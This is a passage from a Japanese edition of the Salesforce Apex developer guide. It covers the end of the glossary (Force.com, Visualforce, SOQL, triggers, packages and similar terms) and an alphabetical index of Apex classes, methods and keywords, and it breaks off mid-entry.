ファセットファセットのコンテンツで表示された親のエリアを上書きできる別のVisualforceコンポーネントの子です

用語集 Version 180 | | 424

項目テキストまたは通貨の値など情報の特定の部分を保持するオブジェクトの一部

項目の連動関係別の項目の値に基づいて選択リストの内容を変更できる項目

項目レベルセキュリティ項目がユーザのプロファイルに基づいて「アクセス可」「非表示」「参照のみ」または 「編集可」になることを指定する設定使用可能なエディションはEnterprise EditionUnlimited EditionおよびDeveloper Edition です

Forcecom

アプリケーションを構築する salesforcecom プラットフォームForcecom は強力なユーザインターフェースオペレーティングシステムおよびデータベースを結合して企業全体でアプリケーションをカスタマイズおよび展開できます

Forcecom IDE

開発者が Eclipse 開発環境で Forcecom アプリケーションを管理作成デバッグおよび展開できる Eclipseプラグイン

Forcecom 移行ツールローカルファイルシステムと Salesforcecom 組織とで Forcecom コンポーネントを移行するApache の Ant開発スクリプトを作成できるツールキット

Forcecom Web サービス API

Salesforcecom 組織の情報へのアクセスを提供する Web サービスベースのアプリケーションプログラムインターフェース

外部キー値が別のテーブルのプライマリキーと同じ項目外部キーは別のテーブルのプライマリキーのコピーとしてみなすことができます2 つのテーブルのリレーションはあるテーブルの外部キーの値と別のテーブルのプライマリキーの値が一致することによって成り立ちます

G

Getter メソッド開発者がページのマークアップにデータベースとその他の計算値を表示できるメソッド

値を返すメソッド「Setter メソッド」を参照してください

グローバル変数組織のデータの参照に使用できる特別な差し込み項目

Forcecom Web サービス API やその他の Apex スクリプトのいずれかでアプリケーション外から参照する必要があるメソッドで使用するメソッドアクセス修飾子

ガバナ制限効果のないコードを作成する開発者が他の Salesforcecom ユーザのリソースを独占しないようにする Apex 実行の制限

用語集 Version 180 | | 425

グレゴリオ暦世界中で使用されている12 か月構造に基づいたカレンダー

H

HTTP デバッガAJAX Toolkit から送信される SOAP 要求を識別し調査するために使用できるアプリケーションローカルコンピュータで稼動するプロキシサーバとして動作し各要求を調査および認証できます

I

ID

「Salesforcecom レコード ID」を参照してください

インポートウィザードSalesforcecom 組織にデータをインポートするツール[設定] から使用します

インスタンス組織のデータをホストしアプリケーションを実行する単一の論理サーバとして示されるソフトウェアおよびハードウェアのクラスタForcecom プラットフォームは複数のインスタンスで稼動しますが1つの組織のデータは常に 1 つのインスタンスに一元管理されています

統合ユーザクライアントアプリケーションまたは統合に単独で定義された Salesforcecom ユーザForcecom Web サービス API コンテキストではログインユーザともいいます

ISO コード国際標準化機構が定める国コードで各国を 2 文字で表します

J

連結オブジェクト2 つの主従関係を持つカスタムオブジェクトですカスタム連結オブジェクトを使用して2 つのオブジェクト間の「多対多」リレーションをモデル化できますたとえば「バグ」という名前のカスタムオブジェクトを作成し1 つのバグを複数のケースにまた 1 つのケースを複数のバグに関連付けることができます

K

該当用語はありません

L

Length

テキスト項目の場合カスタム項目に入力できる最大文字数 (255 文字まで) を指定するパラメータ

数値通貨パーセント項目の場合整数部として入力できる桁数を指定するパラメータたとえば12398の場合は 3 と指定します

用語集 Version 180 | | 426

リストビュー特定の条件による項目 (リード取引先または商談など) のリスト表示Salesforcecom では定義済みのビューを提供しています

コンソールではリストビューが具体的な条件に基づいてレコードのリストビューを表示する最上位のフレームです[コンソール] タブに表示して選択できるリストビューは各オブジェクトのタブで定義されたリストビューと同じですコンソール内でリストビューを作成することはできません

ローカルネームユーザまたは取引先の言語で保存される項目の値項目のローカルネームは項目の標準名称に関連付けられます

参照関係互いを関連付けることができる 2 つのレコード間の関係たとえばケースには特定の納入商品をケースに関連付ける納入商品との参照関係があります一方の参照項目を使用するとユーザはルックアップアイコンをクリックしてポップアップウィンドウから別のレコードを選択できます関連付けられたレコードではその後リンクされたすべてのレコードを表示する関連リストを表示できます参照関係がレコードの削除またはセキュリティに影響を及ぼすことはありませんまたページレイアウトに参照項目を作成する必要はありません

M

管理パッケージユニットとして AppExchange に投稿され名前空間とライセンス管理組織に関連付けられるアプリケーションコンポーネントの集合アップグレードをサポートするためにパッケージを管理する必要があります組織は他の多くの組織でダウンロードおよびインストールできる単一の管理パッケージを作成できます管理パッケージは未管理パッケージとは異なりコンポーネントの一部がロックされていて後でアップグレードできます未管理パッケージにはロックされたコンポーネントは含まれておらずアップグレードはできませんまた管理パッケージでは開発者の知的財産保護のため登録している組織では特定のコンポーネント (Apex など) は隠されます

共有の直接設定レコード所有者はレコードにアクセス権限を持たないユーザに参照権限および編集権限を与えることができるレコードレベルのアクセスルール

多対多リレーションリレーションの両端に多くの子があるリレーション多対多リレーションは連結オブジェクトを使用して実装されます

メタデータ組織およびいずれかの部署の構造外観機能に関する情報Forcecom ではメタデータを記述するのにXML を使用します

メタデータベース開発アプリケーションを宣言的な「設計図」として定義できるアプリケーション開発モデルコードは必要ありませんデータモデルオブジェクトフォームワークフローなどプラットフォームに構築されたアプリケーションはメタデータで定義されます

用語集 Version 180 | | 427

メタデータ WSDL

Forcecom Metadata API コールを使用するユーザの WSDL

マルチテナンシーすべてのユーザおよびアプリケーションが単一で共通のインフラストラクチャおよびコードベースを共有するアプリケーションモデル

Model-View-Controller (MVC)

アプリケーションをデータを示すコンポーネントに分割するデザインパラダイム (モデル)ユーザインターフェースにデータを表示する方法 (ビュー)ビジネスロジックでデータを処理する方法 (コントローラ)

N

名前空間パッケージコンテキストではドメイン名と同様AppExchange にある自社パッケージとそのコンテンツを他の開発者のパッケージと区別するための 1 15 文字の英数字で構成される識別子Salesforcecom ではSalesforcecom 組織のすべての一意のコンポーネント名に自動的に名前空間プレフィックスを 2 つのアンダースコア (ldquo__rdquo) の前に追加します

ネイティブアプリケーションForcecomの設定 (メタデータ) 定義で排他的に開発されたアプリケーションですネイティブアプリケーションには外部サービスまたは外部インフラストラクチャは必要ありません

O

オブジェクトSalesforcecom組織に情報を保存するために使用するオブジェクトオブジェクトは保存する情報の種類の全体的な定義ですたとえばケースオブジェクトを使用して顧客からの問い合わせに関する情報を保存できます各オブジェクトについて組織はそのデータ型の具体的なインスタンスに関する情報を保存する複数のレコードを保有しますたとえば佐藤次郎さんから寄せられたトレーニングに関する問い合わせに関する情報を保存するケースレコードと山田花子さんから寄せられたコンフィグレーションの問題に関する情報を保存するケースレコードなどです

オブジェクトレベルのヘルプカスタムオブジェクトについて提供できるカスタムヘルプテキストリストビューや関連リストと同様にカスタムオブジェクトレコードホーム (概要) ページ詳細ページおよび編集ページが表示されます

オブジェクトレベルセキュリティ特定のユーザに対してタブやオブジェクト全体を非表示にできる設定ユーザはそうしたデータの存在を知ることもできませんプラットフォームではユーザプロファイルのオブジェクト権限を使用してオブジェクトレベルのアクセスルールを設定します

一対多リレーション1 つのオブジェクトが多数のオブジェクトに関連するリレーションたとえば取引先に 1 つまたは複数の関連取引先担当者がある場合があります

用語集 Version 180 | | 428

組織ライセンスユーザセットが定義されたSalesforcecomの導入組織はsalesforcecomの各お客様に提供された仮想スペースです組織にはすべてのデータおよびアプリケーションが含まれており他のすべての組織から独立しています

組織の共有設定ユーザが組織で持つデータアクセスのベースラインレベルを指定できる設定たとえばユーザプロファイルで有効化されている特定のオブジェクトの任意のレコードを参照できますが編集するには別の権限が必要となるよう設定できます

アウトバウンドコールSalesforce CRM Call Center のコールセンターの外部にユーザがから発信するコール

アウトバウンドメッセージ外部サービスなどの指定したエンドポイントに指定の情報を送信するワークフロー承認および承認活動アウトバウンドメッセージはエンドポイントに対し特定の項目内のデータを SOAP メッセージとして送信しますアウトバウンドメッセージはSalesforcecomの設定メニューで設定しますその後で外部エンドポイントを設定する必要がありますForcecom Web サービス API を使用してメッセージのリスナーを作成できます

P

Package

AppExchange を介して他の組織で使用可能な Forcecom のコンポーネントおよびアプリケーションのグループですAppExchange にまとめてアップロードできるようにパッケージを使用してアプリケーションおよび関連するコンポーネントをバンドルします

パッケージバージョンパッケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式はmajorNumberminorNumberpatchNumber (例 213) となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumberはパッチリリース時のみ生成されますpatchNumberがない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecom までお問い合わせください

未管理パッケージはアップグレードできないため各パッケージバージョンは単に配布用コンポーネントのセットですパッケージバージョンは管理パッケージでより大きな意味を持ちますパッケージは異なるバージョンで異なる動作をします公開者はパッケージバージョンを使用してパッケージを使用する既存の連携に影響を与えることなく後続のパッケージバージョンをリリースすることにより管理パッケージのコンポーネントを発展させることができます

パラメータ化された型パラメータ化された型を使用すると構築時に実際のデータ型と置き換えられる一般的なデータ型パラメータでインターフェースを実装できます

Partner WSDL

複数のSalesforcecom組織にわたって機能できる統合またはAppExchangeアプリケーションを構築する顧客パートナーISV 向けの弱く定型化された Partner WSDLこの WSDL を使用すると開発者は通常はXML の編集が行われる適切なオブジェクト表示でのデータのマー社リングに対応しますただし開発者は

用語集 Version 180 | | 429

特定のデータモデルまたは Salesforcecom 組織に依存しませんこれに対しEnterprise WSDL は強く定型化されています

Platform Edition

Sales や Service amp Support などの標準 Salesforcecom CRM アプリケーションを含まない Enterprise Edition または Unlimited Edition に基づいた Salesforcecom のエディション

プライマリキーリレーショナルデータベースのコンセプトリレーショナルデータベースの各テーブルにはデータ値が一意にレコードを識別する項目がありますこの項目をプライマリキーと呼びます2 つのテーブルのリレーションはあるテーブルの外部キーの値と別のテーブルのプライマリキーの値が一致することによって成り立ちます

運用組織実際の運用データにアクセスするユーザを持っている Salesforcecom 組織

プロトタイプ他の Apex スクリプトに使用できるクラスメソッドおよび変数

Q

クエリロケータ返された最後の結果レコードのインデックスを指定するquery()または queryMore() API コールから返されるパラメータ

クエリ文字列パラメータ通常 URL の「」文字の後に指定されている名前-値のペア例

httpna1salesforcecom001ename=value

R

レコードSalesforcecomオブジェクトの単一インスタンスたとえば「John Jones」は取引先担当者レコードの名前となります

レコード ID

「Salesforcecom レコード ID」を参照してください

レコード名すべての Salesforcecom オブジェクトの標準項目レコード名が Forcecom アプリケーションに表示されると値はレコードの詳細ビューへのリンクとして表示されますレコード名は自由形式のテキストまたは自動採番項目です レコード名 は一意の値である必要はありません

ごみ箱削除した情報を表示し復元できるページごみ箱にはサイドバー内のリンクからアクセスします

用語集 Version 180 | | 430

リレーションページレイアウト内の関連リストおよびレポート内の詳細レベルを作成するために使われる2 つのオブジェクトの間の接続両方のオブジェクトの特定の項目において一致する値を使用して関連するデータにリンクしますたとえばあるオブジェクトには会社に関連するデータが保存されていて別のオブジェクトには人に関連するデータが保存されている場合リレーションを使用するとその会社で働いている人を検索できます

レポート実行ユーザセキュリティ設定がダッシュボードに表示されるデータを指定するユーザ1 つのダッシュボードには 1 人の実行ユーザのみが指定されるためそのダッシュボードにアクセスできる全員に対して各個人のセキュリティ設定に関係なく同じデータが表示されます

S

SaaS

「サービスソフトウェア (SaaS)」を参照してください

Sコントロールカスタムリンクで使用するカスタムWeb コンテンツカスタムSコントロールにはJava アプレットActive-XコントロールExcel ファイルカスタム HTML web フォームなどブラウザに表示できるあらゆる種類のコンテンツを入れることができます

重要 SコントロールはVisualforce ページに置き換えられました新しい組織のほかSコントロールを作成したことがない 2010 年 3 月移行の組織はSコントロールを作成できません既存の Sコントロールに影響はありません今後も編集可能です

IdeaExchange

salesforcecom ユーザが新しい製品のコンセプトを提案お気に入りの拡張機能を推進製品マネージャや他のユーザとの対話salesforcecom が今後のリリースで配布を予定している製品のプレビューを行うことができるフォーラムIdeaExchange ideassalesforcecom を参照してください

Salesforcecom レコード ID

Salesforcecom の 1 つのレコードを示す 15 文字または 18 文字 (英数字) の文字列

Salesforcecom SOA (サービス指向アーキテクチャ)

Apex 内から外部 Web サービスへのコールを作成できる Forcecom の強力な機能

Sandbox 組織Salesforcecom運用組織のほぼ同一コピーテストやトレーニングなど様々な目的のために運用組織のデータとアプリケーションに影響を与えることなく複数の Sandbox をそれぞれの環境に作成できます

セッション ID

ユーザが正常に Salesforcecom にログインした場合に返される認証トークンセッション ID を使用するとユーザが Salesforcecom で別のアクションを実行したいときに再度ログインできなくなりますレコード IDまたは Salesforcecom ID と異なりSalesforcecom レコードの一意の ID を示す用語です

用語集 Version 180 | | 431

セッションタイムアウトログインしてからユーザが自動的にログアウトするまでの時間セッションは前もって決定された非活動状態の長さの後で自動的に終了しますこの長さは [設定] [セキュリティ制御]をクリックすることによって Salesforcecom 内で設定可能ですデフォルト値は 120分 2時間 ですユーザが Web インターフェースでアクションを実行または API コールを作成すると非活動状態タイマーが 0 にリセットされます

設定Forcecom アプリケーションをカスタマイズおよび定義できる管理領域Salesforcecom ページ上部の 設定 リンクから 設定 にアクセスします

Sites

Forcecom Sites ではSalesforcecom 組織と直接統合された公開 Web サイトやアプリケーションを作成できますユーザはユーザ名やパスワードを使用してログインする必要がありません

SOAP (Simple Object Access Protocol)

XML エンコードデータを渡す一定の方法を定義するプロトコル

sObject

Forcecom プラットフォームに保存できるオブジェクト

サービスソフトウェア (SaaS)

ソフトウェアアプリケーションがサービスとしてホストされ顧客にインターネットを経由して提供される配信モデルSaaS ベンダはアプリケーションおよび各顧客データの日常メンテナンス操作およびサポートを行う責任がありますこのサービスで顧客が独自ののハードウェアソフトウェアそして関連 IT リソースを使用してアプリケーションをインストール構成保守する必要性を緩和しますSaaS モデルを使用してあらゆる市場区分にサービスを配信することができます

SOQL (Salesforcecom オブジェクトクエリ言語)

Forcecom データベースからデータを選択するために使用する必要のある単純で強力なクエリ文字列を構築し基準を指定できるクエリ言語

SOSL (Salesforcecom オブジェクト検索言語)

Forcecom API を使用してテキストベースの検索を実行できるクエリ言語

標準オブジェクトForcecomプラットフォームに含まれる組み込みオブジェクトアプリケーション独自の情報を格納するカスタムオブジェクトを作成することもできます

システムログコードスニペットのデバッグに使用できる独立したウィンドウウィンドウの下部にテストするコードを入力して[実行] をクリックします[システムログ] の本文には実行する行の長さや作成されたデータベースコール数などのシステムリソース情報が表示されますコードが完了しなかった場合はコンソールにデバッグ情報が表示されます

T

Tag

Salesforcecomでデータを独自の方法で記述および整理するために使用されほとんどのレコードに関連付けることができる単語または短い語句システム管理者がタグを有効化できるのは取引先活動納入商品

用語集 Version 180 | | 432

キャンペーンケース取引先責任者契約ダッシュボードドキュメント行動リードメモ商談レポートソリューションToDoおよびカスタムオブジェクト (リレーションシップグループメンバーを除く)ですタグにはForcecom Web サービス API からもアクセスできます

Salesforce Content ではタグはワークスペース全体のコンテンツを分類および整理するための説明ラベルのことを意味しますユーザは特定のタグに属すすべてのファイルやWeb リンクのリストを表示したりタグに基づいて検索結果を絞り込んだりすることができます

Test メソッド特定のコードが適切に動作しているかを確認する Apex クラスメソッドTest メソッドは引数を採用せずデータをデータベースにコミットしませんまたコマンドラインまたは Forcecom IDE のような Apex IDEで runTests()システムメソッドによって実行できます

トリガデータベースの特定の種類のレコードが挿入更新または削除される前後で実行する Apex の一部です各トリガはトリガが実行されるレコードへのアクセス権限を提供する一連のコンテキスト変数で実行しすべてのトリガは一括モードで実行しますつまり一度に 1 つずつレコードと処理するのではなく複数のレコードを一度に処理します

トリガコンテキスト変数トリガおよびトリガが起動するレコードに関する情報へのアクセス権限を提供するデフォルト値

U

V

ビューVisualforce で定義された Model-View-Controller モデルのユーザインターフェース

表示状態要求間のデータベースの状態の維持に必要なすべての情報は表示状態として保存されます

Visualforce

開発者がプラットフォームに作成されたアプリケーションのカスタムページおよびコンポーネントを容易に定義できる単純でタグベースのマークアップ言語各タグがページのセクション関連リストまたは項目など大まかなコンポーネントときめの細かいコンポーネントのどちらにも対応していますコンポーネントの動作は標準のSalesforcecomページと同じロジックを使用して制御することも開発者が独自のロジックを Apex で記述されたコントローラと関連付けることもできます

Visualforce ページVisualforce を使用して作成された Web ページ通常Visualforce ページには組織に関連する情報が表示されますがデータの変更または取得も可能ですPDF ドキュメントや電子メールの添付ファイルなどさまざまな方法で表示できますまた CSS スタイルに関連付けることもできます

用語集 Version 180 | | 433

W

Web サービス様々なプラットフォームで稼動さまざまな言語で作成またはお互い地理的に離れている場合であっても2 つのアプリケーションがインターネットを経由してデータを容易に交換できるメカニズム

WebService メソッドSコントロールやサードパーティのアプリケーションのマッシュアップなど外部システムによって使用できる Apex クラスメソッドまたは変数Web サービスメソッドはグローバルクラスで定義する必要があります

ワークフローと承認時のアクションワークフローと承認時のアクションはワークフロールールまたは承認プロセスで起動できる電子メールアラートToDo項目自動更新アウトバウンドメッセージで構成されています

ラッパークラスログインセッションの管理レコードのクエリおよびバッチなど一般的な機能を抽象化するクラスラッパークラスを使用すると統合でより容易にプログラムロジックを開発保持および一か所に保存できコンポーネント間で容易に再利用できるようになりますSalesforcecomのラッパークラスにはSalesforcecomWeb Services API 周辺の JavaScript ラッパーである AJAX ToolkitCTI Adapter for Salesforce CRM Call Centerの CCritical SectionなどのラッパークラスForcecom Web Services API を使用して Salesforcecom もアクセスするクライアント統合アプリケーションの一部として作成されたラッパークラスがあります

WSDL (Web Services Description Language) ファイルWeb サービスと送受信するメッセージの形式を説明する XML ファイル開発環境の SOAP クライアントはSalesforcecom Enterprise WSDL または Partner WSDL を使用してSalesforcecom Web サービス API を使用する Salesforcecom と通信します

X

該当用語はありません

Y

該当用語はありません

Z

該当用語はありません

用語集 Version 180 | | 434

索引

A

abstract 定義修飾子 86Action クラス

インスタンス化 318メソッド 318理解 318

addError()トリガ 77After トリガ 65AJAX サポート 82ALL ROWS キーワード 60Answers クラス 374Ant tool 383AnyType データ型 27Apex

scriptsシステムコンテキスト 105共有の使用 105

WSDL 178スケジューラ

スケジューラブルインターフェース 77テスト 78ベストプラクティス 81

テスト 122 123概要 7 9共有の理由

データベースオブジェクト 273再適用 160理解 156

共有管理 153呼び出し 64使用するケース 14設計 120操作手順 11

Apex ドキュメント表記規則 16Apex のスケジュール 77Apex の一括処理

schedule 77インターフェース 146データベースオブジェクト 273使用 146

Apex の呼び出し 64Apex の呼び出し方法 64Apex の作成 11API コールWeb サービス

Apex に使用可 406custom 171executeAnonymous 81retrieveCode 386runTests 128

AppExchange管理パッケージバージョン 165 166

B

Before トリガ 65

Blob データ型 27Blob メソッド 207Boolean データ型 27Boolean メソッド 207

C

Collectionsセット 33マップ 33リスト 33反復 37反復 for ループ 53

Comments 49compileAndTest コール 388 407

deploy コールを参照 385compileClasses コール 388 410compileTriggers コール 388 411ConvertLeadデータベースメソッド 187Crypto クラス 359

D

Database メソッドメソッド 273理解 273

DatabaseBatchable 146 160DatabaseBatchableContext 147Date

データ型 27メソッド 207

Datetimeデータ型 27メソッド 210

Decimalデータ型 27メソッド 214丸めモード 217

Delete database メソッド 191Delete ステートメント 191DeleteResultオブジェクト 192deploy コール 385Deprecated アノテーション 109Developer Edition 11DML 操作

convertLead 187error オブジェクト 277limit メソッド 277サポートされていない sObjects 204機能 204理解 186例外処理 205

DMLException メソッド 298DMLOptions

メソッド 273

Index

DMLステートメントdelete 191insert 192merge 195undelete 195update 198upsert 200

Do-while ループ 51Document クラス 354DOM 354Double

データ型 27メソッド 219

E

EclipseApex の展開 388EmailException メソッド 298EmptyRecycleBinResult

メソッド 276EncodingUtil クラス 360Enterprise EditionApex の展開 382Enum

メソッド 237理解 38

Error オブジェクトDML 277メソッド 277

executeanonymous コール 81executeanonymous() コール 412

F

Final キーワード 41 102FOR UPDATE キーワード 60For ループ

SOQLクエリ 54ロック 61

リスト反復またはセット反復 53従来の 53理解 52

Forcecom共有管理 153

Forcecom IDEApex の展開 383Forcecom 移行ツール

Apex の展開 383追加のディプロイメソッド 388

Future アノテーション 107

G

Get アクセサー 95global アクセス修飾子 86 92

H

HeadersPackageVersionHeader 420

Hello World の例ユニットテスト 23理解 21

Http クラス 350HTTP 要求

証明書の使用 183HttpRequest クラス 350HttpResponse クラス 352

I

ID データ型 27IDE 12IdeaStandardController クラス

インスタンス化 319メソッド 319理解 319

IdeaStandardSetController クラスインスタンス化 321メソッド 321理解 321

If-else ステートメント 51In 句SOQL クエリ 59InboundEmail オブジェクト 311 312InboundEmailBinaryAttachment オブジェクト 314InboundEmailHeader オブジェクト 313InboundEmailTextAttachment オブジェクト 314InboundEmailResult オブジェクト 314InboundEnvelope オブジェクト 315instanceof キーワード 103Integer

データ型 27メソッド 220

isAfter トリガ変数 67isBefore トリガ変数 67isDelete トリガ変数 67isExecuting トリガ変数 67isInsert トリガ変数 67IsTest アノテーション 109isUndeleted トリガ変数 67isUpdate トリガ変数 67IsValid フラグ 70 113

L

L-値式 41Language

コンストラクト 26概要 17

LeadConvertResultオブジェクト 190Limit 句SOQL クエリ 59Limits

メソッド 126Long

データ型 27メソッド 220

M

Mapメソッド 231

Matcher クラスキャプチャグループ 339メソッド 342

Index

Matcher クラス (つづき)リージョン 337境界 338検索 338使用 337理解 336例 339

Matcher メソッドPattern メソッドも参照してください 342

Math メソッド 280Merge ステートメント

トリガおよび 73理解 195

Message クラスインスタンス化 325メソッド 325重要度の enum 326理解 325

Message 重要度 326Metadata API コール

deploy 385

N

new トリガ変数 67newMap トリガ変数 67Not 句SOQL クエリ 59

O

old トリガ変数 67oldMap トリガ変数 67

P

Package メソッド 284PackageVersionHeader ヘッダー 420PageReference クラス

インスタンス化 326クエリ文字列の例 329ナビゲーションの例 329メソッド 327理解 326

Pattern クラス使用 337理解 336例 339

Pattern メソッド 340private アクセス修飾子 86 92ProcessRequest クラス 363ProcessResult クラス 363ProcessSubmitRequest クラス 364ProcessWorkitemRequest クラス 365protected アクセス修飾子 86 92public アクセス修飾子 86 92

R

Reason 項目値 154retrieveCodeコール 386RowCause 項目値 154

runAs メソッドusing 124パッケージバージョン 169使用 169

runTests コール 128runTests() コール 413

S

Salesforcecom API バージョン 118Sandbox 組織Apex の展開 382SaveResultオブジェクト 194 199Schema メソッド 238Search メソッド 285SelectOption

class 330インスタンス化 330メソッド 331例 332

Set アクセサー 95setFixedSearchResults メソッド 126setSavepoint メソッド 61size トリガ変数 67SOAP およびオーバーロード 172sObject

DML操作をサポートしない 204fields 31すべてにアクセスする 138データ型 30トークン 136メソッド 242リスト 35一緒に使用できない 204関係を介した項目へのアクセス 32検証 33項目の参照解決 57参照によって渡される 30式 49数式項目 57定義結果 136定義結果メソッド 245

sObjects 名および項目名の検証 33SOQL クエリ

Apex 変数 59for ループ 54 61limit メソッド 277インライン行のロック 60すべてのレコードの問い合わせ 60ロック 61外部キー 59結果の処理 57式 41集計関数 57親子関係 59大きい結果リスト 58動的 140予防注入 141理解 55

SOQL注入 141SOSL インジェクション 142

Index

SOSL クエリApex 変数 59limit メソッド 277テスト 126結果の処理 57式 41動的 141予防注入 142理解 55

SSL 認証 181StandardController

メソッド 333例 334

StandardController クラスインスタンス化 333理解 332

StandardSetControllerメソッド 335例 336

StandardSetController クラスインスタンス化 334理解 334

Stringデータ型 27メソッド 221

super キーワード 103System メソッド

静的 285名前空間プレフィックス 116

System 名前空間プレフィックス 116

T

Test メソッドVisualforce 293

testMethod キーワード 124this キーワード 104Throw ステートメント 63Time

データ型 27メソッド 226

transient キーワード 104Try-catch-finally ステートメント 63

U

Undelete ステートメント 195Undelete トリガ 73UndeleteResultオブジェクト 196Unlimited EditionApex の展開 382UpsertResult object 201Upsertステートメント 200Upsertデータベースメソッド 200UserInfo メソッド 295

V

virtual 定義修飾子 86Visualforce

ApexPages メソッド 260pages 317

Visualforce (つづき)コントローラ

transient キーワード 104表示状態の保持 104理解 317

セキュリティのヒント 399メッセージの重要度 326使用するケース 14

W

Web サービス API コールcompileAndTest 383compileClasses 388compileTriggers 388compleAndTest 388custom 171executeAnonymous 81retrieveCode 386runTests 128トランザクションの制御 61使用するケース 14

WebService メソッドオーバーロード 172データの公開 171考慮事項 171理解 171

Where 句SOQL クエリ 59While ループ 52with sharing キーワード 105without sharing キーワード 105WSDL

Apex クラスの作成 174オーバーロード 172デバッグ 181ヘッダーのマッピング 180ランタイムイベント 180生成 171例 178

WSDL からのクラスの定義 174

X

XmlNode クラス 356XmlStreamReader クラスメソッド 366XmlStreamWriterクラスメソッド 371XMLライターメソッド 371XMLリーダーメソッド 366

あアイデアクラス 375アクセス修飾子 92アノテーション

deprecated 109future 107isTest 109理解 107

アンカー付き境界 338

Index

いイタレータ

custom 101using 101反復 101

イベントトリガ 66インスタンス

メソッド 93 94初期化コード 93 94変数 93 94

インターフェース 97イタレータ 101スケジュール可能 77パラメータ化された型 99反復 101

インライン SOQL クエリ1 つのレコードを返す 59行のロック 60

うウォークスルーサンプルアプリケーション 389

えエスケープシーケンス文字 27

おオブジェクト

データ型 27 30リスト 35

かカスタム API コールのオーバーロード 172カスタム設定

メソッド 256例 258

カスタム表示ラベル 31ガバナー

limit メソッド 277

きキーワード

ALL ROWS 60final 41 102FOR UPDATE 60instanceof 103super 103testMethod 124this 104transient 104webService 171with sharing 105without sharing 105予約 397

キャストコレクション 111

キャスト (つづき)理解 110

キャプチャグループ 339 342

くクイックスタート 16クエリ

SOQL および SOSL 55SOQL および SOSL 式 41結果の処理 57

クライアント証明書 181クラス

action 318answers 374Apex 300API バージョン 118Crypto 359email 300EncodingUtil 360Http 350HttpRequest 350HttpResponse 352IdeaStandardController 319IdeaStandardSetController 321IsValid フラグ 113Java との違い 112matcher 336message 325pageReference 326pattern 336ProcessRequest クラス 363ProcessResult 363ProcessSubmitRequest 364ProcessWorkitemRequest 365selectOption 330standardController 332standardSetController 334Visualforce 104with sharing 105without sharing 105WSDL 178WSDL からの定義 174XmlNode 356アイデア 375アノテーション 107インターフェース 97キャスト 110コミュニティ 374コレクション 111コンストラクタ 90コンストラクタの使用 90セキュリティ 115ディビジョン 378ドキュメント 354プロパティ 95メソッド 89メソッドの定義 89メッセージ 300営業時間 373型の解決 117受信電子メール 310定義 85 113

Index

クラス (つづき)変数 89変数の宣言 89名前のシャドウイング 115名前付け規則 114優先度 116理解 85例 86例外 315

グループキャプチャ 339

こコード

セキュリティ 399コール

compileAndTest 407compileClasses 410compileTriggers 411executeanonymous() 412runTests 128runTests() 413

コールアウトHTTP 181limit メソッド 277limits 184WSDL からの定義 174タイムアウト 184リモートサイト設定 174呼び出し 173非同期 107

コミュニティクラスanswers 374

コレクションclasses 111キャスト 111

コンストラクタチェーニング 104使用 90

コンテキスト変数trigger 67考慮事項 68

コントローラVisualforcecustom 317拡張 317

コンポーネント動作のバージョニング 167 168

さサイトクラス 378サンプルアプリケーション

code 391チュートリアル 389データモデル 389概要 389

しシステムアーキテクチャApex 11システムログコンソール

匿名ブロック 81

システム検証 74

すスケジューラブルインターフェース 77ステートメント

if-else 51メソッド呼び出し 89ロック 60代入 50例外

throw 63try-catch-finally 63理解 62

せセキュリティ

class 115code 399Visualforce 401とカスタム API コール 171証明書 181数式 401

セットメソッド 234反復 37反復 for ループ 53理解 35

たダイナミック Apex

外部キー 142理解 134

ダイナミック DML 142

ちチェーニングコンストラクタ 104チャンクサイズSOQL クエリ for ループ 54チュートリアル 16 389

つツール 383

てディプロイ

Forcecom IDE 383Forcecom Migration Tool の使用 383追加メソッド 388理解 382

データカテゴリメソッド 238

データベースEmptyRecycleBinResult 276objects

メソッド 273理解 273

Index

データベース (つづき)エラーオブジェクトメソッド 277メソッド

convertLead 187delete 191insert 192undelete 195update 198upsert 200システム静的 262

データ型sObject 30プリミティブ 27変換 39理解 27

デザインパターン 120テスト

isTest アノテーション 109runAs 124 169SOSL クエリ 126start および stop test の使用 126ガバナ制限 126テストの対象 123ベストプラクティス 128実行 127理解 122 123例 129

テストの開始および停止 126デッドロック回避 61デバッグ

Hello World の例 23WSDL ドキュメントから作成したクラス 181

とトークン

fields 137sObject 136予約 397

トランザクションの制御ステートメントトリガおよび 66理解 61

トリガAPI バージョン 118isValid フラグ 70undelete 73コンテキスト変数 67コンテキスト変数の考慮事項 68デザインパターン 120トランザクションの制御 61トランザクションの制御ステートメント 66バルククエリ 69 70マップおよびセット使用 69ユニットテスト 23一意の項目 70一括処理 66一般的なイディオム 69結合イベントおよび 73構文 66行動 66実行順 74対象外操作 75

トリガ (つづき)大量例外処理 205定義 70復元レコード 73変更できない項目 76理解 65例外 77

トリガ実行の順序 74トリガ対象外の操作 75

ねネスとされたリスト 34

はバージョン設定

API バージョン 118パッケージバージョン 119理解 118

バインド 59パッケージ名前空間 116バッチサイズSOQL クエリ for ループ 54パラメータ化された型 99

ひヒープサイズ

limit メソッド 277

ふプリミティブデータ型

値によって渡される 27プログラミングパターン

triggers 120プロパティ 95プロファイルクラスへのアクセス権の設定 115

へページVisualforce 317ベストプラクティス

Apex 120Apex スケジューラ 81Apex の一括処理 152triggers 120WebService キーワード 171テスト 128プログラミング 120

まマップ

SObject 配列からの作成 37反復 37理解 36

Index

めメソッド

action 318ApexPages 260blob 207boolean 207database

convertLead 187delete 191undelete 195update 198upsert 200システム静的 262

date 207datetime 210decimal 214DescribeSObjectResultオブジェクト 245DMLOptions 273double 219enum 237error オブジェクト 277IdeaStandardController 319IdeaStandardSetController 321integer 220limits 277list 227long 220map 36matcher 342math 280message 325package 284pageReference 327pattern 340QueryLocator 273schema 238SelectOption 331sendEmail 300 309set 35 234setFixedSearchResults 126sObject 242StandardController 333StandardSetController 335string 221system 285test 293time 226userInfo 295XML Reader 366XmlStreamWriter 371アクセス修飾子 92インスタンス 93 94カスタム設定 256クラスで使用 89データカテゴリ 238マップ 231ユーザー定義 89検索 285項目定義結果 249再帰 89参照渡し 89承認 260静的 93

メソッド (つづき)標準 205副次的影響のある void 89名前空間プレフィックスと 116例外 297

ゆユーザー定義メソッドApex 89ユーザによる共有管理 153ユニットテスト

SOSL クエリ 126実行 127理解 124

りリージョンと正規表現 337リスト

sObject 35メソッド 227概要 34式 49定義 34配列表記 34反復 37

リストサイズSOQL クエリ for ループ 54リスト反復 for ループ 53リテラル式 41リモートサイト設定 174リリースノート 16

るループ

do-while 51for

